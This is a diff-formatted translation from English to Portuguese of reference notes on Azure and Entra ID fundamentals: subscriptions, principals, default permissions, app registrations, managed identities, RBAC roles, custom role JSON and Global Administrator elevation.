-### Azure Subscriptions +### Assinaturas do Azure -- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed. -- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions. -- It **trust only one Entra ID** directory -- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription +- É outro **container lógico onde recursos** (VMs, DBs…) podem ser executados e serão cobrados. +- Seu **pai** é sempre um **grupo de gerenciamento** (e pode ser o grupo de gerenciamento raiz), pois assinaturas não podem conter outras assinaturas. +- **Confia apenas em um diretório do Entra ID** +- **Permissões** aplicadas no nível da assinatura (ou em qualquer um de seus pais) são **herdadas** para todos os recursos dentro da assinatura. -### Resource Groups +### Grupos de Recursos -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group. +[Dos documentos:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Um grupo de recursos é um **container** que contém **recursos relacionados** para uma solução do Azure. O grupo de recursos pode incluir todos os recursos para a solução, ou apenas aqueles **recursos que você deseja gerenciar como um grupo**. Geralmente, adicione **recursos** que compartilham o **mesmo ciclo de vida** ao mesmo grupo de recursos para que você possa facilmente implantar, atualizar e excluí-los como um grupo. -All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted. +Todos os **recursos** devem estar **dentro de um grupo de recursos** e podem pertencer apenas a um grupo e, se um grupo de recursos for excluído, todos os recursos dentro dele também são excluídos.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

-### Azure Resource IDs +### IDs de Recursos do Azure -Every resource in Azure has an Azure Resource ID that identifies it. +Cada recurso no Azure tem um ID de Recurso do Azure que o identifica. -The format of an Azure Resource ID is as follows: +O formato de um ID de Recurso do Azure é o seguinte: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this: +Para uma máquina virtual chamada myVM em um grupo de recursos `myResourceGroup` sob o ID de assinatura `12345678-1234-1234-1234-123456789012`, o ID de Recurso do Azure se parece com isto: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` -## Azure vs Entra ID vs Azure AD Domain Services +## Azure vs Entra ID vs Serviços de Domínio do Azure AD ### Azure -Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises. +Azure é a **plataforma de computação em nuvem abrangente da Microsoft, oferecendo uma ampla gama de serviços**, incluindo máquinas virtuais, bancos de dados, inteligência artificial e armazenamento. Ele atua como a base para hospedar e gerenciar aplicativos, construir infraestruturas escaláveis e executar cargas de trabalho modernas na nuvem. O Azure fornece ferramentas para desenvolvedores e profissionais de TI criarem, implantarem e gerenciarem aplicativos e serviços de forma contínua, atendendo a uma variedade de necessidades, desde startups até grandes empresas. -### Entra ID (formerly Azure Active Directory) +### Entra ID (anteriormente Azure Active Directory) -Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others. +Entra ID é um serviço de **gerenciamento de identidade e acesso baseado em nuvem** projetado para lidar com autenticação, autorização e controle de acesso do usuário. Ele fornece acesso seguro a serviços da Microsoft, como Office 365, Azure e muitos aplicativos SaaS de terceiros. Com recursos como autenticação única (SSO), autenticação multifator (MFA) e políticas de acesso condicional, entre outros. -### Entra Domain Services (formerly Azure AD DS) +### Serviços de Domínio do Entra (anteriormente Azure AD DS) -Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments. +Os Serviços de Domínio do Entra estendem as capacidades do Entra ID, oferecendo **serviços de domínio gerenciados compatíveis com ambientes tradicionais do Windows Active Directory**. Ele suporta protocolos legados como LDAP, Kerberos e NTLM, permitindo que as organizações migrem ou executem aplicativos mais antigos na nuvem sem implantar controladores de domínio locais. Este serviço também suporta Política de Grupo para gerenciamento centralizado, tornando-o adequado para cenários onde cargas de trabalho legadas ou baseadas em AD precisam coexistir com ambientes modernos de nuvem. -## Entra ID Principals +## Principais do Entra ID -### Users +### Usuários -- **New users** - - Indicate email name and domain from selected tenant - - Indicate Display name - - Indicate password - - Indicate properties (first name, job title, contact info…) - - Default user type is “**member**” -- **External users** - - Indicate email to invite and display name (can be a non Microsft email) - - Indicate properties - - Default user type is “**Guest**” +- **Novos usuários** +- Indicar nome de e-mail e domínio do inquilino selecionado +- Indicar nome de exibição +- Indicar senha +- Indicar propriedades (primeiro nome, cargo, informações de contato…) +- O tipo de usuário padrão é “**membro**” +- **Usuários externos** +- Indicar e-mail para convidar e nome de exibição (pode ser um e-mail não Microsoft) +- Indicar propriedades +- O tipo de usuário padrão é “**Convidado**” -### Members & Guests Default Permissions +### Permissões Padrão de Membros e Convidados -You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to: +Você pode verificá-las em [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions), mas entre outras ações, um membro poderá: -- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties -- Invite Guests (_can be turned off_) -- Create Security groups -- Read non-hidden Group memberships -- Add guests to Owned groups -- Create new application (_can be turned off_) -- Add up to 50 devices to Azure (_can be turned off_) +- Ler todos os usuários, Grupos, Aplicações, Dispositivos, Funções, Assinaturas e suas propriedades públicas +- Convidar Convidados (_pode ser desativado_) +- Criar Grupos de Segurança +- Ler associações de Grupos não ocultas +- Adicionar convidados a Grupos de Propriedade +- Criar nova aplicação (_pode ser desativado_) +- Adicionar até 50 dispositivos ao Azure (_pode ser desativado_) > [!NOTE] -> Remember that to enumerate Azure resources the user needs an explicit grant of the permission. +> Lembre-se de que, para enumerar recursos do Azure, o usuário precisa de uma concessão explícita da permissão. -### Users Default Configurable Permissions +### Permissões Configuráveis Padrão de Usuários -- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - - Register Applications: Default **Yes** - - Restrict non-admin users from creating tenants: Default **No** - - Create security groups: Default **Yes** - - Restrict access to Microsoft Entra administration portal: Default **No** - - This doesn’t restrict API access to the portal (only web) - - Allow users to connect work or school account with LinkedIn: Default **Yes** - - Show keep user signed in: Default **Yes** - - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings) - - Read other users: Default **Yes** (via Microsoft Graph) -- **Guests** - - **Guest user access restrictions** - - **Guest users have the same access as members** grants all member user permissions to guest users by default. - - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed. - - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one. - - **Guests can invite** - - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default** - - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions** - - **Only users assigned to specific admin roles can invite guest users** - - **No one in the organization can invite guest users including admins (most restrictive)** - - **External user leave**: Default **True** - - Allow external users to leave the organization +- **Membros (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- Registrar Aplicações: Padrão **Sim** +- Restringir usuários não administradores de criar inquilinos: Padrão **Não** +- Criar grupos de segurança: Padrão **Sim** +- Restringir acesso ao portal de administração do Microsoft Entra: Padrão **Não** +- Isso não restringe o acesso à API do portal (apenas web) +- Permitir que os usuários conectem contas de trabalho ou escolares com o LinkedIn: Padrão **Sim** +- Mostrar manter usuário conectado: Padrão **Sim** +- Restringir usuários de recuperar a(s) chave(s) do BitLocker para seus dispositivos de propriedade: Padrão Não (verifique nas Configurações do Dispositivo) +- Ler outros usuários: Padrão **Sim** (via Microsoft Graph) +- **Convidados** +- **Restrições de acesso de usuários convidados** +- **Usuários convidados têm o mesmo acesso que membros** concede todas as permissões de usuários membros a usuários convidados por padrão. +- **Usuários convidados têm acesso limitado a propriedades e associações de objetos de diretório (padrão)** restringe o acesso de convidados apenas ao seu próprio perfil de usuário por padrão. O acesso a informações de outros usuários e grupos não é mais permitido. +- **O acesso de usuários convidados é restrito a propriedades e associações de seus próprios objetos de diretório** é o mais restritivo. +- **Convidados podem convidar** +- **Qualquer pessoa na organização pode convidar usuários convidados, incluindo convidados e não administradores (mais inclusivo) - Padrão** +- **Usuários membros e usuários atribuídos a funções administrativas específicas podem convidar usuários convidados, incluindo convidados com permissões de membro** +- **Apenas usuários atribuídos a funções administrativas específicas podem convidar usuários convidados** +- **Ninguém na organização pode convidar usuários convidados, incluindo administradores (mais restritivo)** +- **Usuário externo sai**: Padrão **Verdadeiro** +- Permitir que usuários externos deixem a organização > [!TIP] -> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions. +> Mesmo que restritos por padrão, usuários (membros e convidados) com permissões concedidas poderiam realizar as ações anteriores. -### **Groups** +### **Grupos** -There are **2 types of groups**: +Existem **2 tipos de grupos**: -- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members. -- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users. - - This will have an **email address** with the domain of the EntraID tenant. +- **Segurança**: Este tipo de grupo é usado para dar acesso a membros a aplicações, recursos e atribuir licenças. Usuários, dispositivos, principais de serviço e outros grupos podem ser membros. +- **Microsoft 365**: Este tipo de grupo é usado para colaboração, dando acesso a uma caixa de correio compartilhada, calendário, arquivos, site do SharePoint, e assim por diante. Os membros do grupo podem ser apenas usuários. +- Isso terá um **endereço de e-mail** com o domínio do inquilino do EntraID. -There are **2 types of memberships**: +Existem **2 tipos de associações**: -- **Assigned**: Allow to manually add specific members to a group. -- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change. +- **Atribuído**: Permite adicionar manualmente membros específicos a um grupo. +- **Associação dinâmica**: Gerencia automaticamente a associação usando regras, atualizando a inclusão do grupo quando os atributos dos membros mudam. -### **Service Principals** +### **Principais de Serviço** -A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity. +Um **Principal de Serviço** é uma **identidade** criada para **uso** com **aplicações**, serviços hospedados e ferramentas automatizadas para acessar recursos do Azure. Esse acesso é **restrito pelos papéis atribuídos** ao principal de serviço, dando controle sobre **quais recursos podem ser acessados** e em qual nível. Por razões de segurança, é sempre recomendado **usar principais de serviço com ferramentas automatizadas** em vez de permitir que eles façam login com uma identidade de usuário. -It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it. +É possível **fazer login diretamente como um principal de serviço** gerando um **segredo** (senha), um **certificado** ou concedendo acesso **federado** a plataformas de terceiros (por exemplo, Github Actions) sobre ele. -- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again. -- If you choose certificate authentication, make sure the **application will have access over the private key**. +- Se você escolher a autenticação por **senha** (por padrão), **salve a senha gerada**, pois você não poderá acessá-la novamente. +- Se você escolher a autenticação por certificado, certifique-se de que a **aplicação terá acesso à chave privada**. -### App Registrations +### Registros de Aplicativos -An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions. +Um **Registro de Aplicativo** é uma configuração que permite que uma aplicação se integre ao Entra ID e realize ações. -#### Key Components: +#### Componentes Chave: -1. **Application ID (Client ID):** A unique identifier for your app in Azure AD. -2. **Redirect URIs:** URLs where Azure AD sends authentication responses. -3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). - 1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID). -4. **API Permissions:** Specifies what resources or APIs the app can access. -5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect). -6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant. - 1. The **service principal** will get all the requested permissions it was configured with. +1. **ID da Aplicação (Client ID):** Um identificador único para seu aplicativo no Azure AD. +2. **URIs de Redirecionamento:** URLs onde o Azure AD envia respostas de autenticação. +3. **Certificados, Segredos e Credenciais Federadas:** É possível gerar um segredo ou um certificado para fazer login como o principal de serviço da aplicação, ou para conceder acesso federado a ele (por exemplo, Github Actions). +1. Se um **certificado** ou **segredo** for gerado, é possível que uma pessoa **faça login como o principal de serviço** com ferramentas CLI conhecendo o **ID da aplicação**, o **segredo** ou **certificado** e o **inquilino** (domínio ou ID). +4. **Permissões da API:** Especifica quais recursos ou APIs o aplicativo pode acessar. +5. **Configurações de Autenticação:** Define os fluxos de autenticação suportados pelo aplicativo (por exemplo, OAuth2, OpenID Connect). +6. **Principal de Serviço**: Um principal de serviço é criado quando um aplicativo é criado (se for feito a partir do console da web) ou quando é instalado em um novo inquilino. +1. O **principal de serviço** receberá todas as permissões solicitadas com as quais foi configurado. -### Default Consent Permissions +### Permissões de Consentimento Padrão -**User consent for applications** +**Consentimento do usuário para aplicativos** -- **Do not allow user consent** - - An administrator will be required for all apps. -- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)** - - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization. - - **Default** low impact permissions (although you need to accept to add them as low): - - User.Read - sign in and read user profile - - offline_access - maintain access to data that users have given it access to - - openid - sign users in - - profile - view user's basic profile - - email - view user's email address -- **Allow user consent for apps (Default)** - - All users can consent for any app to access the organization's data. +- **Não permitir consentimento do usuário** +- Um administrador será necessário para todos os aplicativos. +- **Permitir consentimento do usuário para aplicativos de editores verificados, para permissões selecionadas (Recomendado)** +- Todos os usuários podem consentir para permissões classificadas como "baixo impacto", para aplicativos de editores verificados ou aplicativos registrados nesta organização. +- **Padrão** permissões de baixo impacto (embora você precise aceitar para adicioná-las como baixo): +- User.Read - fazer login e ler o perfil do usuário +- offline_access - manter acesso a dados que os usuários deram acesso +- openid - fazer login dos usuários +- profile - visualizar o perfil básico do usuário +- email - visualizar o endereço de e-mail do usuário +- **Permitir consentimento do usuário para aplicativos (Padrão)** +- Todos os usuários podem consentir para qualquer aplicativo acessar os dados da organização. -**Admin consent requests**: Default **No** +**Solicitações de consentimento do administrador**: Padrão **Não** -- Users can request admin consent to apps they are unable to consent to -- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests - - Configure also if users will receive email notifications and expiration reminders +- Os usuários podem solicitar consentimento do administrador para aplicativos aos quais não conseguem consentir +- Se **Sim**: É possível indicar Usuários, Grupos e Funções que podem consentir solicitações +- Configure também se os usuários receberão notificações por e-mail e lembretes de expiração -### **Managed Identity (Metadata)** +### **Identidade Gerenciada (Metadados)** -Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure. +Identidades gerenciadas no Azure Active Directory oferecem uma solução para **gerenciar automaticamente a identidade** de aplicativos. Essas identidades são usadas por aplicativos para o propósito de **conectar-se** a **recursos** compatíveis com a autenticação do Azure Active Directory (**Azure AD**). Isso permite **remover a necessidade de codificar credenciais de nuvem** no código, pois o aplicativo poderá contatar o serviço de **metadados** para obter um token válido para **realizar ações** como a identidade gerenciada indicada no Azure. -There are two types of managed identities: +Existem dois tipos de identidades gerenciadas: -- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you. -- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**. +- **Atribuída pelo sistema**. Alguns serviços do Azure permitem que você **ative uma identidade gerenciada diretamente em uma instância de serviço**. Quando você ativa uma identidade gerenciada atribuída pelo sistema, um **principal de serviço** é criado no inquilino do Entra ID confiável pela assinatura onde o recurso está localizado. Quando o **recurso** é **excluído**, o Azure automaticamente **exclui** a **identidade** para você. +- **Atribuída pelo usuário**. Também é possível que os usuários gerem identidades gerenciadas. Estas são criadas dentro de um grupo de recursos dentro de uma assinatura e um principal de serviço será criado no EntraID confiável pela assinatura. Em seguida, você pode atribuir a identidade gerenciada a uma ou **mais instâncias** de um serviço do Azure (múltiplos recursos). Para identidades gerenciadas atribuídas pelo usuário, a **identidade é gerenciada separadamente dos recursos que a utilizam**. -Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it. +Identidades Gerenciadas **não geram credenciais eternas** (como senhas ou certificados) para acessar como o principal de serviço associado a ela. -### Enterprise Applications +### Aplicações Empresariais -It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to. +É apenas uma **tabela no Azure para filtrar principais de serviço** e verificar as aplicações que foram atribuídas a. -**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities. +**Não é outro tipo de “aplicação”**, não existe nenhum objeto no Azure que seja uma “Aplicação Empresarial”, é apenas uma abstração para verificar os Principais de Serviço, Registros de Aplicativos e Identidades Gerenciadas. -### Administrative Units +### Unidades Administrativas -Administrative units allows to **give permissions from a role over a specific portion of an organization**. +Unidades administrativas permitem **dar permissões de um papel sobre uma parte específica de uma organização**. -Example: +Exemplo: -- Scenario: A company wants regional IT admins to manage only the users in their own region. -- Implementation: - - Create Administrative Units for each region (e.g., "North America AU", "Europe AU"). - - Populate AUs with users from their respective regions. - - AUs can **contain users, groups, or devices** - - AUs support **dynamic memberships** - - AUs **cannot contain AUs** - - Assign Admin Roles: - - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU. -- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions. +- Cenário: Uma empresa deseja que administradores de TI regionais gerenciem apenas os usuários em sua própria região. +- Implementação: +- Criar Unidades Administrativas para cada região (por exemplo, "AU América do Norte", "AU Europa"). +- Preencher AUs com usuários de suas respectivas regiões. +- AUs podem **conter usuários, grupos ou dispositivos** +- AUs suportam **associações dinâmicas** +- AUs **não podem conter AUs** +- Atribuir Funções Administrativas: +- Conceder o papel de "Administrador de Usuários" ao pessoal de TI regional, limitado à AU de sua região. +- Resultado: Administradores de TI regionais podem gerenciar contas de usuário dentro de sua região sem afetar outras regiões. -### Entra ID Roles +### Funções do Entra ID -- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID - - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- The most privileged role is **Global Administrator** -- In the Description of the role it’s possible to see its **granular permissions** +- Para gerenciar o Entra ID, existem algumas **funções integradas** que podem ser atribuídas a principais do Entra ID para gerenciar o Entra ID +- Verifique as funções em [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) +- A função mais privilegiada é **Administrador Global** +- Na descrição da função, é possível ver suas **permissões granulares** -## Roles & Permissions +## Funções e Permissões -**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)` +**Funções** são **atribuídas** a **principais** em um **escopo**: `principal -[TEM FUNÇÃO]->(escopo)` -**Roles** assigned to **groups** are **inherited** by all the **members** of the group. +**Funções** atribuídas a **grupos** são **herdadas** por todos os **membros** do grupo. -Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group. +Dependendo do escopo ao qual a função foi atribuída, a **função** pode ser **herdada** para **outros recursos** dentro do contêiner de escopo. Por exemplo, se um usuário A tem uma **função na assinatura**, ele terá essa **função em todos os grupos de recursos** dentro da assinatura e em **todos os recursos** dentro do grupo de recursos. -### **Classic Roles** +### **Funções Clássicas** -| **Owner** |
  • Full access to all resources
  • Can manage access for other users
| All resource types | +| **Proprietário** |
  • Acesso total a todos os recursos
  • Pode gerenciar acesso para outros usuários
| Todos os tipos de recursos | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Contributor** |
  • Full access to all resources
  • Cannot manage access
| All resource types | -| **Reader** | • View all resources | All resource types | -| **User Access Administrator** |
  • View all resources
  • Can manage access for other users
| All resource types | +| **Contribuinte** |
  • Acesso total a todos os recursos
  • Não pode gerenciar acesso
| Todos os tipos de recursos | +| **Leitor** | • Visualizar todos os recursos | Todos os tipos de recursos | +| **Administrador de Acesso do Usuário** |
  • Visualizar todos os recursos
  • Pode gerenciar acesso para outros usuários
| Todos os tipos de recursos | -### Built-In roles +### Funções Integradas -[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[Dos documentos: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[O controle de acesso baseado em função do Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) tem várias **funções integradas do Azure** que você pode **atribuir** a **usuários, grupos, principais de serviço e identidades gerenciadas**. As atribuições de função são a maneira de controlar **o acesso aos recursos do Azure**. Se as funções integradas não atenderem às necessidades específicas de sua organização, você pode criar suas próprias [**funções personalizadas do Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** -**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources: +As funções **integradas** se aplicam apenas aos **recursos** para os quais são **destinadas**, por exemplo, verifique estes 2 exemplos de **funções integradas sobre recursos de Computação**: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Leitor de Backup de Disco](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Fornece permissão ao cofre de backup para realizar backup de disco. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Login de Usuário da Máquina Virtual](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Visualizar Máquinas Virtuais no portal e fazer login como um usuário regular. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**. +Essas funções também podem **ser atribuídas sobre contêineres lógicos** (como grupos de gerenciamento, assinaturas e grupos de recursos) e os principais afetados as terão **sobre os recursos dentro desses contêineres**. -- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). -- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). +- Encontre aqui uma lista com [**todas as funções integradas do Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). +- Encontre aqui uma lista com [**todas as funções integradas do Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). -### Custom Roles +### Funções Personalizadas -- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups) -- It’s possible to configure all the granular permissions the custom role will have -- It’s possible to exclude permissions - - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere -- It’s possible to use wildcards -- The used format is a JSON - - `actions` are for control actions over the resource - - `dataActions` are permissions over the data within the object - -Example of permissions JSON for a custom role: +- Também é possível criar [**funções personalizadas**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) +- Elas são criadas dentro de um escopo, embora uma função possa estar em vários escopos (grupos de gerenciamento, assinaturas e grupos de recursos) +- É possível configurar todas as permissões granulares que a função personalizada terá +- É possível excluir permissões +- Um principal com uma permissão excluída não poderá usá-la, mesmo que a permissão esteja sendo concedida em outro lugar +- É possível usar curingas +- O formato utilizado é um JSON +- `actions` são para controlar ações sobre o recurso +- `dataActions` são permissões sobre os dados dentro do objeto +Exemplo de JSON de permissões para uma função personalizada: ```json { - "properties": { - "roleName": "", - "description": "", - "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], - "permissions": [ - { - "actions": [ - "Microsoft.DigitalTwins/register/action", - "Microsoft.DigitalTwins/unregister/action", - "Microsoft.DigitalTwins/operations/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/write", - "Microsoft.CostManagement/exports/*" - ], - "notActions": [ - "Astronomer.Astro/register/action", - "Astronomer.Astro/unregister/action", - "Astronomer.Astro/operations/read", - "Astronomer.Astro/organizations/read" - ], - "dataActions": [], - "notDataActions": [] - } - ] - } +"properties": { +"roleName": "", +"description": "", +"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], +"permissions": [ +{ +"actions": [ +"Microsoft.DigitalTwins/register/action", +"Microsoft.DigitalTwins/unregister/action", +"Microsoft.DigitalTwins/operations/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/write", +"Microsoft.CostManagement/exports/*" +], +"notActions": [ +"Astronomer.Astro/register/action", +"Astronomer.Astro/unregister/action", +"Astronomer.Astro/operations/read", +"Astronomer.Astro/organizations/read" +], +"dataActions": [], +"notDataActions": [] +} +] +} } ``` +### Ordem de Permissões -### Permissions order - -- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. -- An explicit **deny role assignment takes precedence** over the role granting the permission. +- Para que um **principal tenha algum acesso a um recurso**, ele precisa de um papel explícito sendo concedido a ele (de qualquer forma) **concedendo-lhe essa permissão**. +- Uma atribuição de **papel de negação explícita tem precedência** sobre o papel que concede a permissão.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

-### Global Administrator +### Administrador Global -Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default. +Administrador Global é um papel do Entra ID que concede **controle total sobre o locatário do Entra ID**. No entanto, ele não concede nenhuma permissão sobre recursos do Azure por padrão. -Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\ -This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +Usuários com o papel de Administrador Global têm a capacidade de '**elevar' para o papel de Administrador de Acesso do Usuário no Grupo de Gerenciamento Raiz**. Assim, Administradores Globais podem gerenciar o acesso em **todas as assinaturas e grupos de gerenciamento do Azure.**\ +Essa elevação pode ser feita no final da página: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
